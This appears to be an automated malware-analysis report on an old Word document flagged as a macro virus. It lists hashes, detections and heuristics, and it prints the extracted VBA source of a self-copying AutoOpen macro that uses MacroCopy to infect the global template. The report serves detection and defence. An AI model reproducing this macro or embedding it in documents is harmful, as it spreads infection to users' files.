Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9f8f6275abd1308b…

MALICIOUS

Office (OLE)

26.5 KB Created: 1999-05-02 16:11:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 677e28ef75bd8238e24fdf51f7aaec14 SHA-1: deb9c7a286d8012bb63197b869a0c46a76611cce SHA-256: 9f8f6275abd1308befc35d60ee3a0df8eabd313f2d47a4e3f92bacb59b6857e0
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is identified as malicious by ClamAV and contains a VBA macro with an AutoOpen subroutine. This macro is designed to copy itself, indicating an attempt to ensure execution or persistence. The presence of the AutoOpen macro and the ClamAV detection strongly suggest a malicious document intended to deliver a payload.

Heuristics 4

  • ClamAV: Doc.Trojan.Minimal-49 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Minimal-49
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 733 bytes
SHA-256: 5995a3e9cbc1b08f76404e7e4afeb6978159eb7a89c5ed4114c76051181a558d
Detection
ClamAV: Doc.Trojan.Minimal-49
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"
Public Sub MAIN()
'Attribute MAIN.VB_Description = "Note: I respect most AVs and the CARO naming standard, so I would appreciate it if you could respect me and name this virus WM/Smallv.B"
'Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.AutoOpen.MAIN"
On Error Resume Next
WordBasic.MacroCopy "AutoOpen", WordBasic.[FileName$]() + ":" + "AutoOpen"
WordBasic.MacroCopy WordBasic.[FileName$]() + ":" + "AutoOpen", "AutoOpen"
End Sub

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